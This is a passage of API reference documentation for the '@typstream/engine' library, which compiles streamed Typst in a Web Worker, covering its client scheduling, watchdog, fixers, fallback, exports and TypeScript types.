# @typstream/engine

> Compiles streamed Typst in a Web Worker, with a main-thread client that heals, schedules and supervises compiles, and the worker-side server you can host yourself.

Source: https://typstream.vercel.app/docs/reference/engine

`@typstream/engine` compiles streamed Typst in a worker. It has two halves:

- **The client** (`@typstream/engine`), on the main thread. It heals each document with
  [`@typstream/heal`](/docs/reference/heal), decides when to compile, and keeps the preview alive when compiles fail,
  hang or crash. You open a document, feed it text, and subscribe to its state.
- **The server** (`@typstream/engine/server`), in the worker. It runs Typst 0.15.1
  ([`@typstream/engine-wasm`](/docs/reference/engine-wasm)) behind the protocol in
  [`@typstream/core`](/docs/reference/core#protocol), fixes errors a stream causes, and falls back to something
  showable when a document still doesn't compile.

`@typstream/engine/worker` is the default worker script that joins the two; `engineWorker()` spawns it.
`@typstream/engine/websocket` connects the client to a server instead: [`fromWebSocket`](#typstreamenginewebsocket).

## When to use it

Use the engine directly when you render the artifacts yourself, run your own worker, or share one engine across
several roots. To show documents in the page, [`@typstream/dom`](/docs/reference/dom)'s `mountTypstream` and the
React bindings ([`typstream`](/docs/reference/typstream), [`@typstream/react`](/docs/reference/react)) drive an engine
for you. On a server, use [`@typstream/node`](/docs/reference/node).

## Install

```npm
npm install @typstream/engine
```

The default worker loads the wasm and the base fonts as assets next to its own script. Vite and Next.js (Turbopack or
webpack) need no configuration. The wasm is about 19 MB (about 6 MB with brotli) and the fonts 2.6 MB: serve them
compressed and cacheable. See [Self-hosting the engine](/docs/guides/self-hosting) to load them from elsewhere.

## Example

```ts
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });
const doc = engine.open({ target: "html" }); // or "paged": pages as SVG, or drawings with pageFormat: "drawing"

doc.subscribe(({ status, artifact, diagnostics }) => render(artifact, status, diagnostics));
for await (const chunk of llmStream) doc.push(chunk);
doc.finish(); // strict heal, final compile → status "done" or "error"
```

`state.artifact` is `{ target: "html", html }` or `{ target: "paged", pageCount, pages }`. Hand it to
[`createHtmlRenderer`](/docs/reference/dom#createhtmlrenderer) or [`createPagedView`](/docs/reference/dom#createpagedview)
rather than inserting it yourself: Typst's HTML is untrusted and needs sanitizing.

## What the client does

- **Heals on the main thread.** Every `push`, `set` and `applyEdit` runs the incremental healer. A change that heals to
  the same source doesn't compile.
- **Latest wins.** The engine runs one compile at a time across all its documents. Each document has at most one
  compile pending, and it reads the newest healed source when its turn comes. Edits reach the worker as one diff right
  before the compile.
- **Adaptive interval.** Compiles start at most every `clamp(minInterval, 1.25 × average compile time, maxInterval)`
  (33 to 500 ms by default). When a line or block has just finished (heal's `stableOffset` advanced), the next compile
  is due after `minInterval` instead.
- **Stale output is dropped.** Diagnostics and artifacts count only for the revision last sent. Diagnostics are mapped
  back to input positions (UTF-16 offsets into the text you pushed).
- **Last good.** A failed compile keeps the previous artifact. While streaming the status is `stale`; in final mode it
  is `error`. Before it comes to that, the worker's fixers and fallback usually find something to show.
- **Watchdog.** Each compile gets 3 s while streaming and 10 s in final mode. Past that, the worker is terminated and
  an initialized spare takes over. After 3 timeouts or crashes, live compiling stops (`failure.reason` is
  `"too-complex"`); `finish()` still compiles once.
- **Recycling.** A worker that reports more than 256 MiB after a compile is swapped for the spare between compiles.
- **Limits.** Input longer than `maxLength` (1 MiB of UTF-16 code units) isn't healed or compiled: the document
  reports `too-large` and keeps its last artifact until `set()` or `reset()` brings it back under the limit. A
  streaming paged compile with more than `livePages` (100) pages stops live compiling; `finish()` compiles every page.
- **Paged output.** The worker sends changed pages only; the client merges them, so `state.artifact` always has every
  page.

A document's status goes `idle` → `compiling` → `idle` while streaming, `stale` after a failed compile, and `done` or
`error` once finished. Everything runs on injected timers (`clock`), so the client also works in Node.

[The engine](/docs/concepts/engine) explains the design behind these rules.

## Fixers and fallback

When a compile fails, the server tries its diagnostic fixers and recompiles, at most twice per revision, so streamed
text that heals but doesn't compile yet still renders:

| Fixer | What it does |
| --- | --- |
| `tail-cut` | Streaming only. An error in the text still being typed (after heal's `stableOffset`) cuts the text there and heals the rest again. `#text(` without its body, `#v(1`, `rgb("#e` and closure parameters before `=>` drop out until the next tokens bring them back. |
| `pending-ref` | A reference to a label that doesn't exist yet (a citation before `#bibliography`) shows its key as a muted placeholder. In final mode the error is still reported. |
| `package-stub` | An import of a package the document can't have (not allowed, still loading, failed to load) binds the names it imports to placeholders showing the package's spec. Wildcard imports and modules whose fields are used can't be stood in for. |
| `missing-image` | An image the document has no file for shows as a placeholder with the file's name, keeping the call's size and alt text and a figure's caption. String paths are replaced before the first compile, all at once; the fixer handles paths in variables, and files whose extension names another format. In final mode the error is still reported. See [Images](/docs/guides/images). |
| `hoist-import` | A name used before the package import that binds it (a helper on CeTZ above `#import "@preview/cetz:0.5.3"`, `#unit(…)` in a template's arguments above unify's import) moves that import to the document's start. Only an import that binds the name outright (bare, `as`, items) at the top level; not a wildcard. While streaming, only a settled import. In final mode the error is still reported. |

Fixed errors are reported as `info` diagnostics while streaming, with the fixer's name as `source`. Plugins add
fixers as ES modules loaded in the worker; see [Writing a plugin](/docs/guides/writing-a-plugin).

What still fails after the fixers is never a blank screen. The server shows failing top-level blocks as "This part
couldn't be displayed" boxes, shows the unsettled tail as plain text once the last good render is 1.5 s old, and in
final mode the client finds and skips blocks that hang or crash the engine. `state.lastCompile.fallback` says what was
isolated. `fallback: false` on a document turns this off. [Fallback](/docs/concepts/fallback) has the whole ladder.

## Events

The library sends nothing anywhere: it reports, and the app decides what to collect. `doc.onEvent(listener)` hears
one document. `engine.onEvent(listener)` hears the workers and, as `{ type: "document", event }`, every document's
events too. A compile reports, in this order and before the state it leads to is published:

| Event | When |
| --- | --- |
| `diagnostics` | The worker reported diagnostics (with every compile, and when it recompiles on its own). |
| `compiled` | A compile finished, with its timings, heal time and patches, the fixers applied and the fallback level. |
| `fallback` | The output isn't the text as it is (levels 1 to 4), with the input and healed source to replay as a test case. |
| `watchdog` | A compile ran past its budget or crashed the worker. |

The event shapes are in [`@typstream/core`](/docs/reference/core#telemetry-events). See
[Telemetry](/docs/guides/telemetry).

## Images

An image the document has no file for shows as a placeholder. Give the document a `resolveImage` to fill such paths
in: the client finds complete `image("…")` strings in the input, calls it once per path, and writes the bytes it
returns into the document's files. `fetchImages` from [`@typstream/engine/images`](#typstreamengineimages) downloads
URLs from the hosts you allow. See [Images](/docs/guides/images).

## Typst packages

Documents may `#import "@preview/…"` packages from an allowlist: the `packages` of `initialize` (engine-wide) plus
those of each document (`engine.open({ packages })`, which `mountTypstream` fills from plugins' `engine.packages`).
Nothing outside the allowlist is fetched; an empty allowlist means no network. Allowed packages are fetched when a
document imports one, checked against their `integrity`, and kept in Cache Storage (`typstream-packages`) so they work
offline after the first load. A version that isn't allowed resolves to the nearest allowed one, with a warning.
Files keyed `@namespace/name:x.y.z/path` in a document's or plugin's `files` make a local package importable with no
download. [`@typstream/universe`](/docs/reference/universe) lists the packages typstream allows by default; see
[Typst packages](/docs/guides/typst-packages).

## API

Everything in this section is exported from `@typstream/engine`.

### `createEngine`

```ts
const createEngine: (options: EngineOptions) => Engine;
```

Creates the engine client and starts its worker (and, by default, a spare). Create one per page or per app and open a
document per rendered Typst source; documents share the worker.

```ts
const engine = createEngine({
  spawn: engineWorker(),
  watchdog: { streamingMs: 5000 },
  schedule: { minInterval: 50 },
});
```

#### `EngineOptions`

### EngineOptions

How to run the engine.

| Prop            | Type                                               | Description                                                                                                                                                                                                                                                                                    |
| --------------- | -------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `spawn`         | `SpawnEngine`                                      | Starts a worker running the engine server: engineWorker in a browser, or `fromWebSocket` (`@typstream/engine/websocket`) for a server.                                                                                                                                                         |
| `initialize?`   | `InitializeOptions \| undefined`                   | Fonts and packages shared by every document, sent with `initialize`.                                                                                                                                                                                                                           |
| `plugins?`      | `readonly TypstreamPlugin[] \| undefined`          | Plugins whose worker-wide facets the engine loads (PLAN §8.0): their `engine.fonts`, `engine.packages`, `engine.fixerModules` and `engine.fontCatalogues` join `initialize`'s. Their document facets (files, preamble, heal) apply to the documents that list them in DocumentOptions.plugins. |
| `clientInfo?`   | `{ name: string; version?: string; } \| undefined` | Sent with `initialize`, for the worker's logs.                                                                                                                                                                                                                                                 |
| `watchdog?`     | `Partial<WatchdogOptions> \| undefined`            | Compile budgets and strikes; defaults in DEFAULT_WATCHDOG, or the `spawn`'s own.                                                                                                                                                                                                               |
| `limits?`       | `Partial<LimitOptions> \| undefined`               | Input length and live page limits; defaults in DEFAULT_LIMITS.                                                                                                                                                                                                                                 |
| `recycleBytes?` | `number \| undefined`                              | Replace the worker once it reports more memory than this after a compile. A safety net: the default engine evicts Typst's caches after every compile and stays flat. Default 256 MiB; `Infinity` disables recycling.                                                                           |
| `spare?`        | `boolean \| undefined`                             | Keep an initialized spare worker so replacing the active one is instant, started once the active one has answered a compile (at once when a spare takes over). Default true, or the `spawn`'s own.                                                                                             |
| `schedule?`     | `Partial<ScheduleOptions> \| undefined`            | Default schedule of every document.                                                                                                                                                                                                                                                            |
| `clock?`        | `Clock \| undefined`                               | Timers; tests pass fake ones.                                                                                                                                                                                                                                                                  |

<Callout type="warn" title="Beta">
`initialize` (fonts, packages and fixer modules shared by every document) is beta. Prefer `plugins`, whose
`engine.fonts`, `engine.packages` and `engine.fixerModules` join it.
</Callout>

#### `Engine`

### Engine

The main-thread engine client. Create one per page (or per app) and open a
document per rendered Typst source; documents share the worker.

| Prop      | Type                                                     | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| --------- | -------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `open`    | `(options?: DocumentOptions) => EngineDocument`          | Opens a document. Throws if `options.uri` is already open.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `ready`   | `Promise<InitializeResult>`                              | The first worker's `initialize` answer. Rejects if the engine can't start.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `onEvent` | `(listener: (event: EngineEvent) => void) => () => void` | Calls `listener` with every EngineEvent; returns the unsubscribe function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `fonts`   | `readonly LoadedFontFamily[]`                            | The families the engine's workers loaded from font catalogues so far (PLAN §6.4), each once, in the order they arrived: what the HTML target shows as web fonts. A `font` event announces each new one.                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `preload` | `(options?: PreloadOptions) => Promise<void>`            | Warms the engine for documents to come (PLAN §6.4): compiles throwaway documents in the worker, so the first real one finds the wasm compiled, the fonts parsed, and the plugins' packages, modules and fonts loaded. Call it when a document is likely soon (the user opened "Generate", a model is answering). Compiles queue like any document's. The same compiles and plugins again warm nothing new and return the first call's promise. Resolves when the compiles are done, whether or not they succeeded, and when the engine is disposed; rejects only if the engine can't start, like Engine.ready, and is as safe to ignore. |
| `dispose` | `() => void`                                             | Disposes every document and terminates the workers.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |

#### `PreloadOptions`

What `engine.preload()` warms. It compiles throwaway documents: a short sample (headings, bold and italic, code,
math) in each target, then the first prompt example of each plugin in the first target. Each is its own document, in
final mode without fallback, closed once compiled. Everything they load stays in the worker for the documents after
them: the compiled wasm, parsed fonts, lazy fonts, Typst packages, and fixer and generator modules. Calling it again
with the same compiles and plugins returns the first call's promise; other plugins warm again, and so does a worker
replaced since then (watchdog, crash, recycling). The promise resolves once the compiles are done, whether or not they
succeeded, and when the engine is disposed. It rejects only if the engine can't start, and like `engine.ready` it is
safe to ignore. See [Preloading the engine](/docs/guides/preloading).

```ts
const engine = createEngine({ spawn: engineWorker() }); // starts the worker: wasm and base fonts
await engine.preload({ plugins: [edu, mermaid] }); // warm-up compiles, before the first document
```

### PreloadOptions

What Engine.preload warms.

| Prop       | Type                                      | Description                                                                                                                                                                                                                                      |
| ---------- | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| `plugins?` | `readonly TypstreamPlugin[] \| undefined` | Plugins the coming documents use. Their packages, fixer and generator modules and catalogue fonts load now, and the first of each plugin's prompt examples compiles, so what it draws (a generator's diagrams, a package's imports) is warm too. |
| `targets?` | `readonly CompileTarget[] \| undefined`   | The targets the coming documents compile to, each compiled once. Default both: `["html", "paged"]`. The plugins' examples compile in the first only.                                                                                             |
| `text?`    | `string \| undefined`                     | Typst to compile instead of the built-in sample and the plugins' examples, e.g. a document like the ones the app makes.                                                                                                                          |

<Callout type="warn" title="Beta">
`engine.preload()` and `PreloadOptions` are beta.
</Callout>

#### `EngineEvent`

What `engine.onEvent` receives, discriminated by `type`:

| `type` | Fields | When |
| --- | --- | --- |
| `ready` | `info: InitializeResult` | A worker finished `initialize` (the first one and every replacement). |
| `watchdog` | `uri`, `rev`, `budgetMs` | A compile or export ran past its budget; the worker was terminated. |
| `crash` | `error` | A worker failed outside the protocol. |
| `disconnect` | `error` | The connection to a [remote engine](/docs/guides/remote-engine) dropped; a new one opens, and what it was running is retried. |
| `recycle` | `memoryBytes` | A worker was replaced because it used too much memory. |
| `log` | `level`, `message` | A log message from the worker. |
| `failed` | `error: Error` | The engine can't run; every document is in `error`. |
| `document` | `event: DocumentEvent` | An event of one of the engine's documents. |

### `EngineDocument`

A document being streamed or edited, returned by `engine.open()`. Feed it input; it heals, compiles in the engine's
worker and publishes `DocumentState`s. Calls after `dispose()` are ignored.

### EngineDocument

A document being streamed or edited. Feed it input; it heals, compiles in the
engine's worker and publishes DocumentStates. Calls after `dispose()`
are ignored.

| Prop                | Type                                                       | Description                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| ------------------- | ---------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `uri`               | `string`                                                   | Names the document in the worker; unique among the engine's open documents.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `plugins`           | `readonly TypstreamPlugin[]`                               | Its plugins as they load (`resolvePlugins` from `@typstream/core`): each key once, dependencies first. Renderers apply their facets in this order.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
| `push`              | `(chunk: string) => void`                                  | Appends streamed text.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| `set`               | `(input: string) => void`                                  | Replaces the whole input (a growing `source` prop, a regenerated answer).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           |
| `applyEdit`         | `(edit: TextEdit) => void`                                 | Edits the input (editors, AI rewrites of a section).                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| `setStreamingRange` | `(range: Range \| null) => void`                           | Marks `[from, to)` of the input as being written: an edit streaming into the document, such as a model rewriting one question (PLAN §5.2). Only the range is healed as text being typed; the text before and after it is settled and shows as it did, its lint fixes included. Edits move the range, and text inserted at its end extends it. A finished document compiles in streaming mode again, until `finish()` (or `null`, then `finish()`). The worker's fixers cut only inside the range. Keep it block-aligned: from a top-level block's start (heal's `blockStarts`) to the end of a block's text, before the blank line that follows it. |
| `finish`            | `() => void`                                               | The input is complete: heal it strictly (no tail repair) and compile it in final mode, right away and even if live compiling stopped. Status becomes `done` or `error`. Later edits still compile, in final mode.                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `reset`             | `(input?: string) => void`                                 | Starts over with `input` (default empty) in streaming mode, forgetting watchdog strikes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `setTarget`         | `(target: CompileTarget) => void`                          | Compiles to `target` from now on. The artifact of the other target stays until the first new one.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| `setPageFormat`     | `(format: PageFormat) => void`                             | Paged compiles send pages as `format` from now on (see DocumentOptions.pageFormat); recompiles if it changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
| `setInputs`         | `(inputs: Record<string, string>) => void`                 | Replaces `sys.inputs` and recompiles if they changed.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |
| `setFiles`          | `(files: FileDelta) => void`                               | Writes (or, with `null`, deletes) files the document reads.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `file`              | `(path: string) => FileContent \| null`                    | A file the document has, by the path its Typst names it with (`logo.png`, `./logo.png`, a URL): its own files and the images `resolveImage` resolved. `null` for anything else, plugins' files included. What islands get as `IslandProps.file` (PLAN §8.4).                                                                                                                                                                                                                                                                                                                                                                                        |
| `exportPdf`         | `(options?: ExportOptions) => Promise<Uint8Array>`         | Exports the document as PDF: EngineDocument.exportSource's source, compiled in final mode with the document's preamble and files, by the same engine as the preview (PLAN §6.5). Exports run before compiles that are waiting, under the final watchdog budget. Call `finish()` first to export the finished document. Rejects with an ExportError.                                                                                                                                                                                                                                                                                                 |
| `exportHtml`        | `(options?: ExportOptions) => Promise<string>`             | Exports the document as Typst's HTML, without source anchors unless `anchors` asks for them: a complete, unsanitized HTML document. `@typstream/dom`'s `standaloneHtml` makes it a file that opens on its own. Otherwise as EngineDocument.exportPdf.                                                                                                                                                                                                                                                                                                                                                                                               |
| `exportDocx`        | `(options?: ExportOptions) => Promise<Uint8Array>`         | Exports the document as an editable DOCX file that Word-like engines lay out as the PDF is (#131): paragraphs, lists and tables with Typst's fonts embedded, the layout profile's line pitch, and every gap Typst made. Equations, images and drawings hold their place as empty space for now. Otherwise as EngineDocument.exportPdf.                                                                                                                                                                                                                                                                                                              |
| `exportSource`      | `() => string`                                             | The source the exports compile: the healed input (lint fixes, and tail repair until `finish()`), without the preamble or files.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
| `getState`          | `() => DocumentState`                                      | The current state; the same object until something changes.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| `subscribe`         | `(listener: (state: DocumentState) => void) => () => void` | Calls `listener` with every new state; returns the unsubscribe function.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| `onEvent`           | `(listener: (event: DocumentEvent) => void) => () => void` | Calls `listener` with every `DocumentEvent` (`@typstream/core`), for logging and telemetry (PLAN §8.6); returns the unsubscribe function. A compile's events fire before the state it leads to is published.                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| `dispose`           | `() => void`                                               | Stops scheduling, cancels the compile in flight (its output is dropped) and closes the document in the worker.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      |

`push`, `set` and `applyEdit` are three ways to change the input. Use `push` for a stream, `set` when you have the
whole text so far (a growing `source` prop), and `applyEdit` for edits in the middle (editors, AI rewrites of a
section). `reset` starts over in streaming mode, as for a regenerated answer.

#### `DocumentOptions`

What `engine.open()` takes.

### DocumentOptions

How to open a document.

| Prop              | Type                                      | Description                                                                                                                                                                                                                                                                                                                                                                        |
| ----------------- | ----------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `uri?`            | `string \| undefined`                     | Unique among the engine's open documents. Default: a generated `doc-N`.                                                                                                                                                                                                                                                                                                            |
| `text?`           | `string \| undefined`                     | Input to start from; it compiles right away.                                                                                                                                                                                                                                                                                                                                       |
| `target?`         | `CompileTarget \| undefined`              | Default `html`.                                                                                                                                                                                                                                                                                                                                                                    |
| `pageFormat?`     | `PageFormat \| undefined`                 | How paged compiles send pages: `svg` (default), or `drawing` for a canvas renderer (`@typstream/dom`'s paged view sets it). Pages the engine can't draw come as SVG either way.                                                                                                                                                                                                    |
| `inputs?`         | `Record<string, string> \| undefined`     | `sys.inputs`.                                                                                                                                                                                                                                                                                                                                                                      |
| `preamble?`       | `string \| undefined`                     | Typst evaluated before the document (theme, imports); fixed for the document's lifetime.                                                                                                                                                                                                                                                                                           |
| `files?`          | `FileDelta \| undefined`                  | Files the document reads (images, data), relative to its root. Keys such as `@typstream/edu:0.1.0/lib.typ` mount a local package.                                                                                                                                                                                                                                                  |
| `resolveImage?`   | `ImageResolver \| undefined`              | Gives the bytes of images the document names but has no file for: URLs a model wrote, or names the app knows. Without it, nothing is fetched, and such images show as placeholders (as do the ones it can't resolve). `fetchImages({ hosts })` from `@typstream/engine/images` downloads URLs from the hosts you allow.                                                            |
| `packages?`       | `PackageSpec[] \| undefined`              | Typst packages the document may import, in addition to the engine's (`initialize.packages`); fixed for the document's lifetime.                                                                                                                                                                                                                                                    |
| `fontCatalogues?` | `FontCatalogue[] \| undefined`            | Font catalogues the document loads families it names from, in addition to the engine's (`initialize.fontCatalogues`), as plugins' `engine.fontCatalogues` do (PLAN §6.4). The fonts they load are the worker's. Fixed for the document's lifetime.                                                                                                                                 |
| `heal?`           | `HealOptions \| undefined`                | Passed to `createHealer`. Use `finish()` rather than `final`.                                                                                                                                                                                                                                                                                                                      |
| `plugins?`        | `readonly TypstreamPlugin[] \| undefined` | Plugins (PLAN §8.0) whose engine and heal facets apply to the document: their files, packages and preambles (before `preamble`), heal handlers and lint settings, and fixer modules and font catalogues, which the worker loads for this document. Fonts are the worker's: a plugin's `engine.fonts` load only from `createEngine`'s `plugins`. Fixed for the document's lifetime. |
| `schedule?`       | `Partial<ScheduleOptions> \| undefined`   | Overrides the engine's schedule for this document.                                                                                                                                                                                                                                                                                                                                 |
| `fallback?`       | `boolean \| undefined`                    | Layer 4 (PLAN §5.6): when the source fails to compile even after the worker's fixes, show failing top-level blocks as error boxes, after `schedule.staleMs` the unsettled tail as plain text, and in final mode find and skip what hangs or crashes the engine. Default true; false keeps the last good artifact instead.                                                          |

<Callout type="warn" title="Beta">
`packages` is beta. Plugins' `engine.packages` are the usual way to allow packages for a document.
</Callout>

#### `DocumentState`

A snapshot of a document: a new object whenever anything in it changes, so it can be compared by identity (React's
`useSyncExternalStore`).

### DocumentState

A snapshot of a document. A new object whenever anything in it changes, so
it can be compared by identity (React's `useSyncExternalStore`).

| Prop             | Type                     | Description                                                                                                                         |
| ---------------- | ------------------------ | ----------------------------------------------------------------------------------------------------------------------------------- |
| `status`         | `DocumentStatus`         | See DocumentStatus.                                                                                                                 |
| `artifact`       | `Artifact \| null`       | The last good artifact, or `null` before the first successful compile. Paged artifacts are complete: every page, with `base: null`. |
| `artifactRev`    | `number \| null`         | Revision `artifact` was compiled from.                                                                                              |
| `diagnostics`    | `Diagnostic[]`           | Diagnostics of the latest compile, in input coordinates (offsets into the text pushed so far, mapped back through healing), sorted. |
| `heal`           | `HealResult`             | Healing of the current input: the source sent to the worker, open frames, lint findings.                                            |
| `final`          | `boolean`                | `finish()` was called: the input is complete and compiles in final mode.                                                            |
| `streamingRange` | `Range \| null`          | The part of the input being written (`setStreamingRange`), as edits since have moved it, or `null`.                                 |
| `live`           | `boolean`                | False once the watchdog stopped live compiling (`failure.reason` is `too-complex`).                                                 |
| `failure`        | `CompileFailure \| null` | Set while the status is `stale` or `error`.                                                                                         |
| `lastCompile`    | `CompileResult \| null`  | The worker's answer to the latest finished compile.                                                                                 |

#### `DocumentStatus`

```ts
type DocumentStatus = "idle" | "compiling" | "stale" | "error" | "done";
```

| Status | Meaning |
| --- | --- |
| `idle` | The artifact shows the latest input; waiting for more. |
| `compiling` | A compile is scheduled or running. |
| `stale` | Streaming, and the latest compile failed (see `failure`). The artifact is the last good one. It stays `stale` until a compile succeeds. |
| `error` | The finished document failed to compile, or the engine can't run. |
| `done` | The finished document compiled. |

#### `CompileFailure`

Why the latest compile produced no artifact. Set while the status is `stale` or `error`.

### CompileFailure

Why the latest compile produced no artifact.

- `diagnostics`: the source has errors (they are in `diagnostics`).
- `timeout`: the watchdog stopped a compile that ran past its budget.
- `crash`: the worker died during the compile.
- `too-complex`: repeated timeouts or crashes, or more pages than
  `limits.livePages`, stopped live compiling; the document compiles once
  more when it is finished.
- `too-large`: the input is longer than `limits.maxLength`. It isn't healed
  or compiled, finished or not, until `set()` or `reset()` makes it shorter.
- `engine`: the worker refused the request or couldn't start.

| Prop      | Type                                                                                | Description                                                                |
| --------- | ----------------------------------------------------------------------------------- | -------------------------------------------------------------------------- |
| `reason`  | `"crash" \| "diagnostics" \| "engine" \| "timeout" \| "too-complex" \| "too-large"` | What went wrong, for choosing what to show.                                |
| `message` | `string`                                                                            | A sentence for logs or a tooltip: the first error, or what the engine did. |

| `reason` | Meaning |
| --- | --- |
| `diagnostics` | The source has errors (they are in `diagnostics`). |
| `timeout` | The watchdog stopped a compile that ran past its budget. |
| `crash` | The worker died during the compile. |
| `too-complex` | Repeated timeouts or crashes, or more pages than `limits.livePages`, stopped live compiling. The document compiles once more when it is finished. |
| `too-large` | The input is longer than `limits.maxLength`. It isn't healed or compiled until `set()` or `reset()` makes it shorter. |
| `engine` | The worker refused the request or couldn't start. |

### Exports

`EngineDocument.exportPdf()` and `exportHtml()` compile `exportSource()` (the healed input) in final mode with the
document's preamble and files, by the same engine as the preview. They run before compiles that are waiting, under the
final watchdog budget. Call `finish()` first to export the finished document. HTML exports have no source anchors
unless `anchors` asks for them (to lay the export out as pages, with the page settings html-compat writes on them), and
are not sanitized; [`standaloneHtml`](/docs/reference/dom#standalonehtml) makes them a safe file. See
[Exports](/docs/guides/exports).

```ts
doc.finish();
const pdf = await doc.exportPdf();
const html = await doc.exportHtml({ inputs: { showAnswers: "true" } });
```

#### `ExportOptions`

### ExportOptions

How to export a document.

| Prop       | Type                                  | Description                                                                                                                                                                                                            |
| ---------- | ------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `inputs?`  | `Record<string, string> \| undefined` | `sys.inputs` for the export. Default: the document's. Leave out layout inputs, such as a reflow preview's page size, to export at the document's own page size.                                                        |
| `anchors?` | `boolean \| undefined`                | HTML only: keep the source anchors a preview has, on which html-compat writes each block's page settings, header and footer: for laying the export out as pages (`@typstream/dom`'s `standalonePages`). Default false. |

#### `ExportError`

```ts
class ExportError extends Error {
  readonly name: "ExportError";
  readonly reason: "diagnostics" | "unsupported" | "timeout" | "crash" | "too-large" | "engine";
  readonly diagnostics: Diagnostic[];
}
```

What `exportPdf()` and `exportHtml()` reject with. `diagnostics` are the export's diagnostics in input coordinates;
with `reason: "diagnostics"` there is at least one error.

| `reason` | Meaning |
| --- | --- |
| `diagnostics` | The source has errors. |
| `unsupported` | The engine doesn't offer this format (see `capabilities.exports` in `engine.ready`'s result). |
| `timeout` | The export ran past the final watchdog budget; the worker was replaced. |
| `crash` | The worker died during the export. |
| `too-large` | The input is longer than `limits.maxLength`. |
| `engine` | The engine can't run, was disposed or refused the request, or the document was disposed. |

### `engineWorker`

```ts
const engineWorker: () => SpawnEngine;
```

Spawns the default engine worker: engine-wasm (Typst 0.15.1) with the base fonts (Libertinus Serif, New Computer
Modern Math, DejaVu Sans Mono), and script fonts that download the first time a document uses them. Pass it to
`createEngine` in a browser. It is written as `new Worker(new URL("./worker.js", import.meta.url), { type: "module" })`,
and the worker refers to the wasm and fonts the same way, so bundlers emit all of them as assets.

### `fromWorker`

```ts
const fromWorker: (create: () => WorkerLike) => SpawnEngine;
```

A `SpawnEngine` for Web Workers, or anything shaped like one. Use it to spawn your own worker script:

```ts
const engine = createEngine({
  spawn: fromWorker(() => new Worker(new URL("./engine.worker.ts", import.meta.url), { type: "module" })),
});
```

`create` is called once at startup and again for every replacement (watchdog, crash, recycling); each call must start
a fresh worker.

#### `SpawnEngine`

```ts
interface SpawnEngine {
  (events: EngineEvents): EngineConnection;
  readonly defaults?: SpawnDefaults; // beta
}
```

Starts a worker running the engine server and routes its messages and errors to `events`. `engineWorker`, `fromWorker`
and [`fromWebSocket`](#typstreamenginewebsocket) make one; implement it yourself for other transports.

`defaults` (beta) are the options that suit the transport, for those `createEngine` isn't given: `fromWebSocket` sets
longer budgets and no spare. `createEngine`'s own `watchdog` and `spare` win.

### SpawnDefaults

Engine options a SpawnEngine suggests; `createEngine`'s own options win.

| Prop        | Type                                    | Description                                                     |
| ----------- | --------------------------------------- | --------------------------------------------------------------- |
| `watchdog?` | `Partial<WatchdogOptions> \| undefined` | Merged over `DEFAULT_WATCHDOG`, under `EngineOptions.watchdog`. |
| `spare?`    | `boolean \| undefined`                  | Used when `EngineOptions.spare` isn't given.                    |

#### `WorkerLike`

### WorkerLike

The parts of a Web Worker fromWorker uses; a DOM `Worker` has them.

| Prop               | Type                                                                                                                                                       | Description                                                                                                        |
| ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| `postMessage`      | `(message: unknown) => void`                                                                                                                               | Posts a message to the worker.                                                                                     |
| `terminate`        | `() => void`                                                                                                                                               | Stops the worker.                                                                                                  |
| `addEventListener` | `{ (type: "message", listener: (event: { data: unknown; }) => void): void; (type: "error" \| "messageerror", listener: (event: unknown) => void): void; }` | Messages from the worker arrive as `event.data`. The worker failed, or a message from it couldn't be deserialized. |

#### `EngineConnection`

### EngineConnection

The client's handle on one worker.

| Prop          | Type                               | Description                                                                                     |
| ------------- | ---------------------------------- | ----------------------------------------------------------------------------------------------- |
| `postMessage` | `(message: ClientMessage) => void` | Posts a message to the worker (structured clone).                                               |
| `terminate`   | `() => void`                       | Stops the worker at once, even mid-compile. Called on watchdog timeouts, recycling and dispose. |

#### `EngineEvents`

### EngineEvents

What the client hears from a worker it spawned.

| Prop      | Type                               | Description                                                                                                                                                                                                                                                |
